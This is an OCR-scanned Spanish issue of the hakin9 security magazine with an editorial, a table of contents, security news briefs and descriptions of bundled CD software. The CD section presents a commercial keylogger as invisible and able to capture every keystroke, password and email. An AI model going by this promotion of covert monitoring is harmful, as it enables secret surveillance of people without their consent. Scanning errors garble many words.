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haking

Bienvenidos en febrero...

Esta vez no ha tocado esperar mucho para el préximo
nomero de haking. A partir de enero haking es un mensual y
espero que ya os haydis acostumbrado a esta nueva perio-
dicidad y que disfrutéis de la revista aiin mas. Este nimero
aparecera en vuesiras manos acompafiado por dos CDs
para traeros cada vez mas materiales interesantes.

En el CD1 encontraréis hakinSlive, que ya conocéis muy
bien y que, estoy segura, tampoco os decepcionara. Con este
misme disco os entregamos también algunos regalos: ;a qué
me refiero? A las cinco aplicaciones comerciales, que os
ayudaran a proteger vuestro ordenador y ajustario a vuestras
necesidades individuales. Espero que todas: Powered Keylo-
gger, VIP Defense VIP Privacy, LANState, Nefintercept 3.2
Software Demo y System Tweaker os sirvan bien.

El CD2 contiene la segunda parte del curso, cuyo obje-
tivo es presentar la informacion basica requerida durante los
examenes certificados Cisco CCNA.

A partir de este nimero podemos enorgullecernos de
la colaboracién con los representantes de varias empresas
del sector Tl, que aportaron a la revista con los articulos de
la mas alta calidad. Nos han honrado con su participacion
activa en la creacion del contenido de la revista tales empre-
sas como Ecija Soluciones, Artica Soluciones Tecnolégicas
y I-SEC Information Security con las cuales esperamos
seguir colaborando también en el futuro.

Si hablamos de las empresas habria que mencicnar
también el Club PRO, una opcidn de suscripcidén creada
especialmente con la idea de ofrecer a las empresas la
posibilidad de llegar con su mensaje al publico mas amplio.
A todos que todavia no conocen esta nuestra oferta os
animo a analizarla, ya que jpueden sacar un buen provecho
de la colaboracion con hakin3!

Al volver a la presentacion del contenido de hakin® de
febrero, queria recomendaros otra seccion nueva de la
revista: los tesls de consumidores. En este ndmero nos con-
centramos en los tests de firewalls y hemos publicado las
opiniones mas interesantes de los que han decidido partici-
par en ellos y a los que me gustaria en esle lugar agradecer.
Espero que los tests encuentren su lugar fijo en las paginas
de hakinS y que os ayuden a la hora de tomar ciertas deci-
siones. Sin embargo, no habra buenos tests sin el aporte de
vosotros, queridos lectores, por lo tanto no os olvidéis de
compartir vuestras observaciones y experiencias respecto a
los productos que vamos a testear y cuya lista encontraréis
en la pagina web de hakin9.

Entre los articulos mas interesantes de este nimero hay
que mencionar: Atagues CSRF: Alaques de falsificacion de
peliciones, en el que aprenderéis en que consiste un ataque
CSRF, conoceréis diferentes tipos de ataque y la mejor pro-
teccion contra ellos. En Hardening de sistemas en entornos
corporativos leereis sobre diferentes técnicas sobre securi-
zacion de sistemas y la mejor manera de llevarlas a cabo.
Si os interesa el tema de la tecnologia de indentificacion por
radiofrecuencias, os invito a leer el articulo RFID-Otro round
entre la funcionalidad y la seguridad.

Son apenas algunas de las propuestas..y aqui os dejo,
deseandoos una buena lectura y esperando encontraros el
mes que viene..,

Anna Marcinkiewicz

En breve 06

Resaltamos las noticias mas importantes del mundo
de la seguridad de sistemas informéticos.

Contenido de CD

CD 1 hakin9.live 10

Comentamos el contenido y el funcionamiento de
nuestra distribucion haking. live.

CD 2 Curso CCNA 14

Describimos el contenido del CD2.

Herramientas
Patriot - 16

Gonzalo Asensio Asensio
Patriot: herramienta capaz de monitorizar el compor-
tamiento de nuestro sistema.

Open Source Security Information

Management 18

Francisco Jests Gdmez Rodriguez
OSSIM es una herramienta de monitorizacion de
eventos de seguridad en redes.

Ataque

Atagues CSRF: Ataques
de faisificacién de peticiones 20

Emilio Casbhas
Cross site Reference (XSRF) es una clase de atague
que afecta a las aplicaciones web.

Los Ataques DDoS 24

Jaime Gulierrez, Mateu Liull
Los ataques de denegacion en la administracion de
sistemas,

Funcion de sobrescritura usando
ptrace() - 30

Siafan Klaas
Diferentes procesos de las técnicas de inyeccion que
incluyen plrace().
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Defensa

Violacion y Aplicacion de Politicas
de Seguridad con IDS y Firewall

Arrigo Triulsi, Antonio Marola

Un Sisterna de Deteccion de Intrusiones en Redes
{NID3) como harramienta de verificacién y comeo herra-
mienta para la aplicacion de la politica de seqguridad.

Insalacion y configuracion de Open-
VPN Red Privada Virtual sobre SSL

Cézar Jiménez Zapata

Las VPN permiten extender cualguier red local a
través de una red no segura ulilizando para ello
encriptacién en los datos transmitidos.

Hardening de sistemas
en entornos corporativos

Sancho Lerana

Una de las primeras tareas a realizar cuando hay que
implementar sequridad en cualquier red de sistemas
helerogéneos, es la tarea de ajustar la sequridad de
es5ios sislemas.

Para principiantes

RFID - Otro round entre

la funcionalidad y la seguridad
Ezequisd Martin Sallis

RFID y lucha eterna del equilibric entre la seguridad
¥ la funcionalidad.

Tests de consumidores -
En este nimero os presentamos los tests de fi rswalla

Entrevista

Cuanta mas complejidad

tecnologica, la cadena

de confianza se alarga... 78

Hablamos con Sancho Lerena, Director Técnico de
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Ha crecido la familia

de gusanos para

la mensajeria instantanea
WORM_SOHANAD

La familia de gusanos para
mensajeria instantanea WORM _
SOHANAD ha crecido, desde un
nacimiento timido, hasta convertirse
en un poderoso conjunto de codi-
gos maliciosos. Primero fue iden-
tificado como un gusano comin,
propagandose mediante mensaje-
ros instantaneos, SOHANAD pero
ha crecido al grado de convertirse
&n una familia que recluta otros
componentas, en un método de
colaboracion donde cada quien
juega un papel que contribuye al
resultado final del ataque.

Las primeras variantes del
SOHANAD tenian como objetivo
la poblacitn usuaria de ordena-
dores de Vietnam. Las variantes
mas recientes, sin embargo, han
cedido en enfoque geografico, y ha
crecido en términos del namero de
programas de mensajeria instanta-
nea que emplea, logrando mayor
coordinacién en otros aspecios
conforme van evolucionando.

Crean una Iimpresora que
registra la identidad del
usuarno en los documentos
Las empresas japonesas Ricoh

y Hitachi Software Engineering
han desarrollado un sistema que
registrara las venas de los dedos
de un usuario en los documentos
impresos con el fin de prevenir la
filtracidn de informacidn, informa la
prensa local.

El nueve dispositivo requiers que
después de ordenar la impresién el
usuario se identifique poniendo su
dedo en un leclor integrado en la
impresora, segun el diario econd-
mico Mihon Keizai.

La informacion recabada que-
dara grabada en los documentos,
gracias a la cual se podra rastrear
la identidad de la persona que
imprimid un documento, dice la
informacion.

El nuevo sistema tendra una
capacidad de almacenar infor-
macion de unas 100 personas

y costara 15 millones de yenes
(127.111 dblares). El objetivo de
ventas es de 200 unidades en tres
afios, dice el rotativo y agrega que
Ricoh tiene planes de desarrollar
junto a Hitachi Software otro tipo
de programas para incrementar la
seguridad en las oficinas.

DigitalParks y la ACM impulsan la seguridad
informatica en la administracion catalana

penas el 30% de los munici-

pios catalanes ha adecuado
sus bases de datos a la LOPD vy el
50% ni siquiera cuenta con pagina
web Barcelona, 24 de Octlubre de
2006 - Las administraciones loca-
les de Catalunya podran mejorar
la gestion informatica y asegurar
el cumplimiento de la Ley Orgéanica
de Proteccidn de Datos (LOPD) y
la Lay de Servicios de la Sociedad
de la Informacién (LS31) gracias al
convenio establecido entre Digital
Parks v la Asociacion Catalana de
Municipios (ACM).

La digitalizacién de la adminis-
tracion local catalana s manifies-
tamente mejorable: el 50% de los
municipios no tiene pagina web,
apenas un 30,7% cumple la LOPD y
sblo un 16% permite a los ciudada-
nos realizar gestiones via Internet.
Estas deficiencias también afectan
a la seguridad informatica de los
datos que gestionan los ayunta-
mientos sobre los ciudadanos.

El acuerdo pone a disposicion
de los entes locales, a fravés de la
ACM, el avanzado centro de datos
de Digital Parks en LHospitalet de
Llobregat y un amplio abanico de
soluciones de seguridad informatica,
proteccion de datos, presencia en
Internet y externalizacion lecnola-
gica. Digital Parks ofrecera aseso-
ramiento y condiciones preferentes
a los municipios, consejos comar-
cales y otros entes locales catalanes
integrados en la ACM en aspectos
como:

« Cumplimiento de la Ley Organica
de Proteccion de Datos, utilizando
servicios de copias de seguridad,
encriptacion de las comunicacio-
nes y asesoria tecnolégica;

« Cumplimiento de la Ley de Ser-
vicios de la Sociedad de la Infor-
macion, con correo electronico
sequro, monitorizacion de redes y
sistemas y consultoria de seguri-
dad;

wwrw.hakin9.org

* Mejora de los servicios informa-
ficos y de lelecomunicaciones
mediante la externalizacion,
evitando coslosas inversiones
a las administraciones locales;

* Presencia en Internet v servi-
cios telematicos, para acercar
la administracion local a los
ciudadanos ofreciendo paginas
web mas amigables, interaclivas
¥y seguras gue cumplan con nor-
mativas como la reciente Ley de
Accesibilidad para las Adminis-
traciones Publicas.

El cumplimiento eslriclo de la
LOFD y el tratamiento adecuado de
los dalos y sistemas informéticos
en lag administraciones locales es
frecuentemente dificil si se quiere
hacer de forma interna, ya que
exige inversiones en instalaciones,
equipos y personal gque muchas
vaces no son economicamente
asumibles, aunque exista una firme
voluntad de llevarias a cabo, mani-
fiesta Joan Maria Roig y Grau, Pre-
sidenle de la ACM. Digital Parks
ofrece productos y servicios que
permiten a nuestros asociados dar
una respuesta a eslas necesidades
con tofal independencia frente a los
operadores, fabricantes o distribui-
dores.

Este convenio es ofro ejemplo
del compromiso de Digital Parks
de colaborar con fodos los niveles
de los seclores publicos y priva-
dos para mejorar la gestion y la
seguridad informética en nuestro
pais, asegura Robert de Dalmases,
administrador de Digital Parks. Ef
acuerdo se suma a olras iniciativas
que hemos impulsado con organis-
mos como Fomento del Trabajo o
el COPCA que ponen de manifiesto
que modernizar la gestion TIC no
&% una cuestion de dinero, s no de
voluntad y flexibilidad para encon-
frar una solucion personalizada
para cada necesidad.



seguridad en Internet con tarjetas de credito

Recumendal::iun&a de Visa Inter-
nacional en lo que respecta a la
sequridad en las terjetas de cradito.
Los usuarios de tarjetas de crédito
deben ser cuidadosos al momento
de manejar &l uso de sus plasticos
y estar alertas al recibir cualguier
solicitud de informacion confidencial
de parte de cualquier persona o ins-
titucion. Visa International entrega a
sus clientes toda la tecnologia de un
sisterna de pago seguro.

Una de las instancias en que
los consumidores pueden estar
expuestos al robo de su informacion
confidencial, es la circulacion de una
serie de correos electronicos que
intentan que los receplores accedan
a un sitio web o que a través del
mismo correo entreguen sus datos
personales o claves referidas a las
tarjetas de crédito.

Esto es el denominado Phishing,
el que consiste en intentar adquirir
informacion confidencial, como las
claves o ndmeros de tarjetas de
cradito, haciendo creer a |a persona
que los datos son solicitados por la
empresa de la tarjela de crédito o
incluso por el mismo banco.

En esle tipo de engafio, los
receptores del correo son instados
a ingrasar a un sitio web que simula
pertanecer a alguna inslitucién o
empresa de confianza, pero que sin
embargo corresponde a una pagina
web falsa. Generalmente el usuario
no detecta esto, y puede senlirse
confiado de entregar la informacion
sacreta.

Se recomienda en general:

* HNunca entregues informacion
de tus claves, nimeros de tarje-
tas, de cuentas corrientes o de
cualquier otro producto de uso
personal y confidencial;

*  Visa International y sus bancos
miembros nunca te solicitaran
informacion de ningdn tipo ni por
correo electronico ni por teléfono.
Incluso si el correo incluye infor-

macidn e imagenes corporativas,
no confies en &l. Los delincuen-
tes son capaces de replicar este
lipo de elementos;

Este tipo de correos tiene una serie
de caracteristicas que te ayudardn
a identificarlos:

+  Siempre te solicitaran algun dato
personal, como tu RUT, nimero
de cuenta o tarjeta de crédito
o alguna clave;

+ Este tipo de mensajes suele
hacer wun Illamado urgente
a entregar los datos para evitar
una situacion importante, comao
el blogueo de la tarjeta de crédito,
el cierre de la cuenta corriente, la
actualizacion urgente de datos,
antre otros. Esle mensaje busca
que el recepltor entreque la infor-
macidn sin medir las consecuen-
cias ni pensar en que se puede
tratar de un engarno,

« Para que entregues los datos,
te pediran que accedas a algun
link, llenes un formulario o abras
algun archivo adjunto;

* Generalmente se dirigen al recep-
tor del mensaje como Estimado
cliente o alguna frase similar,
pero no son personalizados con
el nombre y apellido del receptor;

» Ofra sefal que te puede alertar, es
que el mensaje contenga faltas de
ortografia o problemas de redac-
citn, ya que generalmente estos
mensajes provienen del exiran-
jero;

+ 3i recibes un correo electronico
0 un llamado de este tipo, avisa
de inmediato a tu banco emisor.

www.haking.org

Encuentran diversas
vulnerabilidades

en IBM WebSphere
Application Server

Se han anunciado vanas vuine-
rabilidades en IBM WebSphere
Application Server 6.1, que
pueden ser explotadas por
usuarios maliciosos con diversos
impactos como avitar restriccio-
nes de segundad, ¢ comprometer
sistemas vulnerables. El primero
de los problemas se debe aun
arror off-by-one (*) en mod_
rewrite incluido en el tratamiento
de esquemas |dap que puede

ser empleado para provocar un
desbordamiento de bufer. La
segunda vulnerabilidad afecta
durante el registro de operaciones
de respuesta, ya que las compro-
baciones de autenticacion Eald
no se realizan como una de las
primeras acciones. Y por Gltimo,
5& ha comprobado que, por
defecto, todos los usuarios tienen
autorizacidn handleservantnotifi-
calion en z/0s.

La web de la

comunidad Second Life,
victima de un virus

Este domingo el mundo en
tercera dimension Second Life
fue atacado por el virus Grey
Goo, un programa informatico
que se inslala en la memoria de
la computadora y se duplica a si
mismo. El sitio tuvo que cerrar
su pagina por un corto tiempo
hasta que se pudo eliminar el
codigo malicioso.

Grey Goo reprodujo anillos dora-
dos que giraban alrededor de
todo el sitio de juegos virluales,
provocando que los servidores
de la compafiia Linden Lab,
creadora del juego Second Life,
estuvieran mas lenios. Second
Life &5 un mundo virtual habi-
tado por personajes o avatares
que representan a personas
reales. El juego es utilizado por
mas de 1,5 millones de usuarios,
creciendo aproximadamente un
38 por ciento cada mes, segin la
firma. En el sitio Web se pueden
comprar y vender terrenos
virtuales y objetos con dinero
real. Se utiliza un copybot que
puede ser ulilizado para hacer
réplicas de los objetos virtuales
de las parsonas sin necesidad
de pagar derechos de propiedad
intelectual.



Los tres principales moto-
res de busqueda en Internet
52 ponen de acuerdo pars
facilitar la indexacion de
sitios web

Google, Microsoft y Yahoo! acuer-
dan ofrecer soporte para Sitemaps
0.90, un protocolo que facilita a los
disefiadores y programadores de
paginas web que sus creaciones
entren dentro de las bases de datos
da los motores de blsqueda. El
estandar Sitemaps consiste en una
forma de identificar en un website
aquellas paginas que queremos que
sean indizadas en los motores de
bisqueda. Esto se hace basica-
mente mediante la inclusion de un
fichero en formato XML en el que se
listan las URL's de las paginas que
queremos indizar, de forma que el
robot de clasificacion del motor de
bisqueda (crawler) lee dicho fichero
¥ guarda referencias a las paginas
que alli se le dicen,. Altlemativamente,
el método clasico es que el robot

de clasificacion examine el codigo
fuente en busca de enlaces a olras
paginas del website, entrando en la
base de dalos dichas referencias.
Los tres principales buscadores de
Internat, Google, Yahoo! y MSN de
Microsoft, han acordado ofrecer
soporte para la version 0.90 de
este estandar, lo que significa que
a partir de ahora se les simplifica
la tarea a los disefiadores de
websites para que ordenan las
paginas que van a entrar en la
base de datos del motor de bis-
queda, ofreciéndoles mayor control
sobre lo que se clasifica y como se
clasifica. Para saber como hay que
crear y rellenar el fichero XML de
definicion de las paginas a clasifi-
car, contamos con una estupenda
guia en el mismo sitio web de Site-
maps, en Protocol - Sitemaps XML
format: hitp.www. sitemaps.org/
protocol.html

Desde el punto de vista del usuario,
y segin afirman los tres grandes de
Internet, la adopcitn de Sitemaps
significara que los resultados de las
blsquedas realizadas en cualquiera
de los res motores seran mas
comectos y detallados.

Mas informacion:
htip.Awww.sitemaps.org’ - Website
oficial para el protocolo Sitemaps
hitp:/fwww.google.com/press/
pressrel/siternapsorg.himi — Nota
de prensa publicada por Google
anunciando su adopcion por parte
de los tres grandes.

Inteligencia Artificial y Seguridad

(virus, phishing y spam)
a Universidad Humboldt y Strato
desarrollan nuevas técnicas de

Inteligencia Artificial que resuelven la

incidencia del spam, el phishing y los

virus, ademas de evitar la clasificacion
erronea de falsos positivos de spam.
Cerca del 80% del volumen de
emails que gestiona Strato en sus
servidores en toda Europa es spam.

Desde noviembre 2006, Strato incor-

pora una nueva tecnologia basada

en la investigacion cientifica sobre

Inteligencia Artificial que protege a sus

clientes frente a amenazas maliciosas

como el spam, el phishing o los virus.
El elevado wvolumen de spam
pone de manifiesto que los tradicio-
nales sistema anti-spam no estan
consiguiendo atajar el problema. El
correo no deseado sigue colandose
masivamente en las bandejas de
enlrada de nuestros emails y, lo que
aln es mas grave, hay mensajes que
sin ser spam son clasificados inco-
rrectamente como tales, lo que obliga
al usuario a revisar regularmente su
carpeta de spam para cerciorarse de
que no pierde ningdn email valioso.
Strato ha cambiado radicalmente
la estrategia tradicional de lucha
contra el spam. Tras dos afios de
invesligacion en colaboracion con
la Universidad Humboidt de Berlin,
Strato ha desarrollado una tecnologia
de proteccion que consigue eliminar la
incidencia de spam, virus y phishing
practicamente en el 100% de los
casos. La novedad de esta tecnologia
reside en la aplicacién de técnicas de
Inteligencia Artificial. En lugar de poner
el énfasis en & correo no deseado,
esta nueva tecnologia antispam se
cenlra ante todo en el correo deseado,
de forma que en la bandeja de entrada
del usuario entren Unicamente todos

y cada uno de los correos deseados

sin que ninguno de éstos resulte cla-

sificado erroneamente como spam. El
margen de error &5 de 1-2 probabilida-
das an cada millon.

Mas alla de los filiros STA Sta-
tistical Token Analysis y DCC Dis-
tributed Checks and Clearinghouse

wwrw.hakin9.org

que suelen utilizar las tecnologias
antispam al uso, basados en el
bloqueo de emails que llevan en el
asunto determinadas palabras y en
el numero de veces que se envia
un email, la tecnologia de Strato
aplica algoritmos matemalicos que
incorporan dos nuevas variables
desarrolladas por expertos en Inte-
ligencia Artificial.

En primer lugar, el sistema analiza
el mapa social entre el destinalario y
el receptor del email, es decir, la pro-
babilidad de que ambos estén unidos
por una relacidn plausible como
la que une a cliente y proveedor,
a companeros de trabajo, etc. Unavez
hecha esta comprobacion, el email es
autorizado y entregado a su destina-
tario. En caso de que la relacion entre
receptor v destinatario sea inverosi-
mil, el mensaje es reconocido como
spam y retirado de la circulacion. El
analisis del mapa social se realiza de
forma andnima, sin violar la identidad
de los usuarios ni la confidencialidad
del contenido de las comunicaciones
y con un altisimo nivel de acierto.

La segunda técnica de Inteligen-
cia Artifical que se aplica a la protec-
cidn anlispam, antivirus y antiphising
de Strato estad basada en la Teoria
de Juegos. Sobre la base del ele-
vado volumen de comunicaciones de
Internet que gestiona Strato (mas de
15 millones de emails al dia en una
jornada tipo), el sistema se entrena a
si mismo para aprender a detectar el
spam y es capaz de perfeccionar sus
barreras preventivas.

La tecnologia antispam es
igualmente aplicable y eficaz con
respecto a los ataques de virus.
Igualmente bloquea los intentos
de phising monitorizando las URLs
o direcciones de Internet a las que
fraudulentamente se intenta remitir
a los destinatarios de phishing. Si
la direccién no es la de una entidad
reconocida y autorizada, el men-
saje es automaticamente retirado
de la circulacion sin permitir que
sea entregado al destinatario.



tchifield: Comparado con Oracle,

Microsoft SQL Server es mas seguro

D avid Lilchfield, reputado inves-
ligador de sequridad (especiali-
zado en bases de datos) demuestra,
aportando su extensa experiencia,
gue la base de datos Microsoft SQL
Server es mucho mas segura que
Oracle. Ha publicado un informe que
sequn &l, no deja lugar a dudas.

El documento estudia la sequridad
de Microsoft SQL Server y Oracle
basandose en fallos (solo en su canti-
dad, no en su gravedad) reportados por
investigadores externos y solucionados
por & fabricante. Sélo se han incluido
problemas gque afectan a la propia
base de datos. Por ejemplo no s& han
incluido vulnerabilidades de Application
Server o Intelligent Agent de Oracle ni
MDAC (que se considera parte de Win-
dows, no del servidar) de Microsaoft.

El decumento ofrece unas graficas
muy claras, que comparan los produc-
tos bandera de Oracle (Database 8, 9
y 10) contra Microsoft SQL Server 7,
2000y 2005 durante los ditimos afios.
Si bien la version 7 de Microsoft sufrid
numerosos problemas de seguridad,
desde entonces han disminuido drasti-
camente hasta la version 2005, que no
sufra ninguno. Mientras, los problemas
de seguridad en Oracle han crecido de
forma desproporcionada,

Litchfield achaca estos resultados
de forma determinante al Security
Devalopment Lifecycle que desarrolla
Microsoft para su producto, de forma
que aprende de sus errores mientras
gue Oracle parece no tener nada de
esto, tropezando una y otra vez en
la misma piedra, v lo que es peor, ni
siquiera parecen entender los proble-
mas que astan intentando resolver.

El autor, consciente de que
a pesar de lo objetivo de los nimeros
las pruebas pueden levantar suspi-
cacias, se adelanta a las posibles
controversias que surgiran a partir
de su informe y responde por ade-
lantado algunas cuestiones:

* No, Oracle no parece tan malo
por ser multiplataforma. Eslo no
distorsiona los datos. Casi todos

sus problemas de seguridad
afectan a todas las plataformas;

= S, hay varios investigadores inten-
tando encontrar fallos en el servidor
SQOL 2005 de Microsoft. Y su cadigo
es mas seguro. Es tan simple como
que no los encuentran,

Litchfield ademas, muestra en las gra-
ficas stlo fallos pdblicos y soluciona-
dos, y adelanta que a Oracle todavia
le quedan al menos 49 por corregir
¥ no estan incluidos en las estadisti-
cas del informe. Como experto y des-
cubridor de la mayoria de los fallos de
Oracle que se& muestran, se siente
con |a autoridad suficiente como para
que sus resultados no sean refuta-
dos. Para &l, si se busca seguridad,
la eleccidn esta clara.

En Microsoft, obviamente, ya
notaron su ventaja con respecto a la
sequridad y realizaron su propio estu-
dio. En una entrada en un blog oficial
titulado 7 Year And Not Yet Counting...,
comparan las vulnerabilidades lista-
das en CVE (Common vulnerabilities
and Exposures) de Oracle, MySgl e
IBM Database contra SQL Server
2005. Sus resultados son también
esclarecedores. Oracle, seguido de
MySql e IBM, sufren todos mas vulne-
rabilidades que el producto de Micro-
soft (version 2005). De hecho, todavia
no se k2 ha encontrado ninguna desde
que fue lanzado hace mas de un afio.
Se agradecen esle lipo de informes
gue abordan la seguridad desde un
punto de wvista fuera de misticismos
y prejuicios. Lilchfield no tiene rela-
cion con Microsoft, de hecho ha
encontrado muchas vuinerabilidades
en casi lodos sus productos (aunque
bastantes mas en Oracle, donde se
signte especiaimente "comodo”). Por
tanto, no es sdlo una lipica compara-
cion sobre quién es menos inseguro
en una discusion basada en opiniones
v gustos, sino que avala la robustez en
un producto bien conseguido (ademas
de una importante deficiencia en
Oracle ya apuntada en ofros bolefines)
que bien merece ser mencionada.

www. hakind.org

El robo de contrasenas
mediante Firefox puede
haber sido explotado

La vulnerabilidad en el gestor de
contrasefias de Firefox de que
hablamos aqui hace un par de dias
pudo haber sido explotada ya hace
un mes, teniendo como victimas

a usuarios de MySpace. Mediante
una falsa pagina de login (que
Firefox rellena automaticamente
con log datos reales de acceso del
usuario si éste decidio guardar-

los en el navegador, y sin mediar
ningdn aviso ni pregunta, puasto
gue la falsa pagina de ingreso es
una pagina personal que pertenece
también al dominio myspace.com),
los usuanios son redirigidos a su
pagina real, pero tras sufrir el robo
de sus datos de acceso, con ko que
el alacante puede acceder a sus
datos personales, elc...

Basta observar el fuente de la falsa
pagina de login para descubrir
que ésta lambién envia los datos
de acceso a un servidor francés,
si bien esa cuenta parace actual-
mente deshabilitada.

Ante la gravedad de esta situacion
y el conocimiento de su explota-
cion activa (extremos ambos de
los que el descubridor del bug
alerto a Mozilla hace diez dias), en
el propio foro de discusion sobre
asta bug de Mozilla ya hay guignes
pidan({de momento sin &xito) que
se informe a los usuarios de Fire-
fox sobre este peligro en la mismi-
sima pagina principal de Mozilla y
en |la de descargas de Firefox,

Google distribuye un
gusano a traves de su lista
de correo

En agosto de 2003 google distn-
buyd el gusano Sobig.F a lraves
de una lista de distribucion gestio-
nada con Yahoo Groups.

Ahora nuevamente &l equipo de
Google Video ha distribuido por
arror el gusano w32kapserA
mediante una lista de distribucidn
gestionada por Google Groups. Al
parecer en un primer momento fue
infectado un correo electrdnico de
un miembro del equipo el cual lo
reanvid a la lista de distribucion de
Google automaticamente.

Segun responsables de Google a
esta lista estan suscritas 50.000
parsonas, de las cuales sa des-
conoce el nimero exacto de de
comeos afectados ya que no todas
reciben mensajes de correo.
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hakin9. live

Contenido del CD1

n el disco que acompafia a la revista se encuen-
tra hakin9.live (h9l) en la version 3.1.2 = aur
— distribucion bootable de Aurox que incluye
(tiles herramientas, documentacidn, tutoriales y material
adicional de los articulos. Para empezar el trabajo con
hakin9.live, es suficiente ejecutar el ordenador desde
el CD. Despues de ejecutar el sistema podemos regis-
trarnos como usuario hakin® sin introducir contrasefia.
El material adicional se encuentra en los siguientes
directorios:

* docs = documentacion en formato HTML,;

« art = material complementario a los articulos: scripts,
aplicaciones, programas necesarios;

*  tut - tutoriales, tutoriales tipo SWF.

Los materiales antiguos se encuentran en los subdli-
rectornos_arch, en cambio, los nuevos = en los direc-
torios principales segin la estructura mencionada. En
caso de explorar el disco desde el nivel de arranque de
hakin9.live, esta estructura esta accesible desde el sub-
directorio /mnt/cdrom.

Construimos la version 3.1.2 — aur h9l en base a la
distribucion de Aurox 12.0 y de los scripts de generacion
automatica (www.aurox.org/plflive). Las herramientas no
accesibles desde el CD se instalan desde el repositorio
de Aurox con el programa yum.

En h8l encontraremos un programa de instalacion
{Aurox Live Instaler). Después de instalar en el disco se
puede emplear el comando yum para instalar programas
adicionales.

Tutoriales y documentacion

La documentacion esta compuesta de, entre otros, tutori-
ales preparados por la redaccion que incluyen ejercicios
practicos de los articulos.

s s e s s

Figura 1. hakin9live, Koniqueror

Suponemos que el usuario emplea hakin9.live. Gra-
cias a ello evitaremos los problemas relacionados con
las diferentes versiones de los compiladores, la diferente
localizacion de los archivos de configuracién u opciones
necesanas para ejecutar la aplicacion en el entorno dado.

Especialmente para nuestros Lectores CD1 contiene
aplicaciones comerciales:

Powered Keylogger es un programa profesional de au-
ditoria de seguridad (version de 6 meses) que permite
monitorear todas las actividades de un ordenador, uso de
Internet, teclas pulsadas, contrasefias, correos electroni-
cos entrantes y salientes, etc. El programa se ejecuta en
modo invisible, en el nivel kernel mas bajo del sistema
operativo; haciendo imposible que el programa sea local-
izado. Los informes también se mantienen escondidos.
Caracleristicas:

= (Graba las actividades de las aplicaciones;

« (Graba todas las teclas presionadas;

* (Graba todos los clicks del ratén del ordenador;

+ Graba todas las contrasefias, incluso aquellas archi-
vadas;

*  Monitorea todas las actividades en Internet;

« Caplura todos los correos electronicos enviados y
recibidos;

*  \Vigilancia visual de las actividades en el escritorio
(con capturas de pantalla);

«  Administracion de reportes;

«  Absolutamente invisible;

* Facil configuracion;

VIP Defense VIP Privacy - te protege del potencial
riesgo, haciendo que a los delincuentes no les queda

Figura 2. hakinSlive, Konsole

wWiww. hakins.org
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nada por robar. VIP Privacy permite a los usuarios
buscar y seguramente limpiar toda la informacion
almacenada dentro de tu sistema y de las aplica-
ciones instaladas. Esto, de ninguna forma, elimina
tus archivos privados ni cambia el contenido de los
documentos de usuario.

Vip Defense Privacy reconoce mas de 700 aplica-
ciones y unos miles de faltas del sistema gue guardan
tus datos personales y que pueden ser empleadas por
los delincuentes. Vip Privacy te ofrecerd una detallada
descripcidén de cada falta de privacidad encontrada an
tu sistema. El proceso de blsqueda y eliminacion es
completamente ajustable a las necesidades individu-
ales, por lo que siempre tienes el control completo de
la situacion.

LANState

LANState genera el mapa de la red, que acelerd
tener acceso a los anfitriones alejados a caracteris-
ticas y a recursos, y el manejo de ésos. El programa
también incluye un numero de caracteristicas dOtiles
para obtener la informacion sobre los ordenadores
alejados. El empleo de LANState hace esencialmeante
mas facil administrar y supervisar procesos en las re-
des de cualesquiera gama o tamafio. 10-Strike LAN-
State es una solucidn de administracion que permite
gestionar una red Microsoft Windows de manera muy
facil gracias a un gran nimero de funciones muy prac-
ticas. LANSlate crea automaticamente por ejemplo la
cartografia de la red, permitiendo asi acceder muy
rapidamente a recursos y propiedades de los servi-
dores remotos y recuperar una gran cantidad de datos
de éstos. LANState permite de iqual modo verificar
gl estado de tu red en todo momento. El programa
muestra la cartografia de tu red y permite verificar en
tiempo real el estado de los servidores y ordenadores
remolos:

« Crea automaticamente una cartografia de red esca-
neando el entorno de red de Windows o un conjunto
de direcciones IP. A continuacion, puedes guardar
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esta cartografia, imprimirla o exportarla a un archivo
bitmap;

*  Precio de la solucion independiente del tamafio de
la red. Da igual si administras 10 & 500 equipos, el
precio de la solucidn es el mismo,

* Mo requiere la instalacion de un cliente en los servi-
dores u ordenadores remotos;

«  Permile acceder a y administrar ordenadores re-
motos en solo unos clics gracias a la cartografia
de red creada automaticamente por LANState. De
este modo podras apagar y reiniciar los equipos y
servidores remotos, acceder a las fuentes y servi-
cios remotos, visualizar los informes de sucesos,
acceder al registro a distancia, hacer listas de los
procesos, los equipos, los servicios NT, v mucho
mas,

« Facilita la administracion de los procesos sin importar
el tamario de la red gracias a la posibilidad de asociar
al programa aplicaciones externas, como gestiona-
dotes de archivos o herramientas de administracion
a distancia;

« Notificacion automatica mediante un mensaje an la
pantalla, una sefial sonora o un @-mail en caso de
problema de red;

+  Permite enviar mensajes a los usuarios del dominio
gracias a una mensajeria integrada eficaz;

« Permite gestionar las conexiones a lus fuenles com-
partidas y recibir notificaciones cuando alguien se
conecta (soporte de logs, notificaciones sonoras y
listas negras);

« Permile enviar mensajes a los usuarios del dominio
gracias a una mensajeria integrada eficaz;

« Permite gestionar las conexiones a tus fuentes com-
parlidas y recibir notificaciones cuando alguien se
conecta (soporte de logs, nolificaciones sonoras y
listas negras);

« Contiene numerosas herramientas practicas para
los administradores, como el escaner de red, el es-
caner de puerto, ping, rastro de ruta, name lookup,
alc,

* Es muy facil de utilizar.
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Figura 4, Pagina oficial de Netintercept
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Netintercept

Netintercept es una aplicacidn de monitorizacién, anali-
sis y visualizacion de red. Captura trafico de red (el
paquete completo, no solo las cabeceras), archivos y
manipula el trafico capturado, reconstruyendo bajo de-
manda sesiones entre equipos de la red monitorizada.
El analisis de Netintercept muestra correos electrani-
cos, paginas web, imagenes y otros archivos que se
transfieren por la red. Es capaz de reconstruir hasta
999.999 sesiones a la vez y proporciona una vista com-
prensible de los datos analizados.

Metintercept se vende con diferentes variedades
de configuracién, propercionando capturas y alma-
cenamiento de hasta 1900 Gigabytes de trafico de
red. Para adquirir una versién completa de Netinter-
cept, por favor contacte con Sandstorm Enterprises
en el teléfono +1 781-333-3200, envie un correo elec-
tronico a sales@sandstorm.net o realice un pedido
en http://sandstorm.net/products/quote.

El programa Metintercept que se proporciona
en CD-ROM es una version de demostracion. Este
programa gue se ejecuta en sistemas Windows NT,
2000 y XP, esta sujeto a los limites establecidos en el
acuerdo de licencia de usuario final que se muestra du-
rante el proceso de instalacion. Este software de dem-
ostracion esta limitado al analisis de 50 Megabytes de
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Figura 6. System Tweaker

datos por base de datos. Adicionalmente, las bases de
datos estan limitadas a 500 conexiones, el programa
no soporta captura de trafico de red en tiempo real
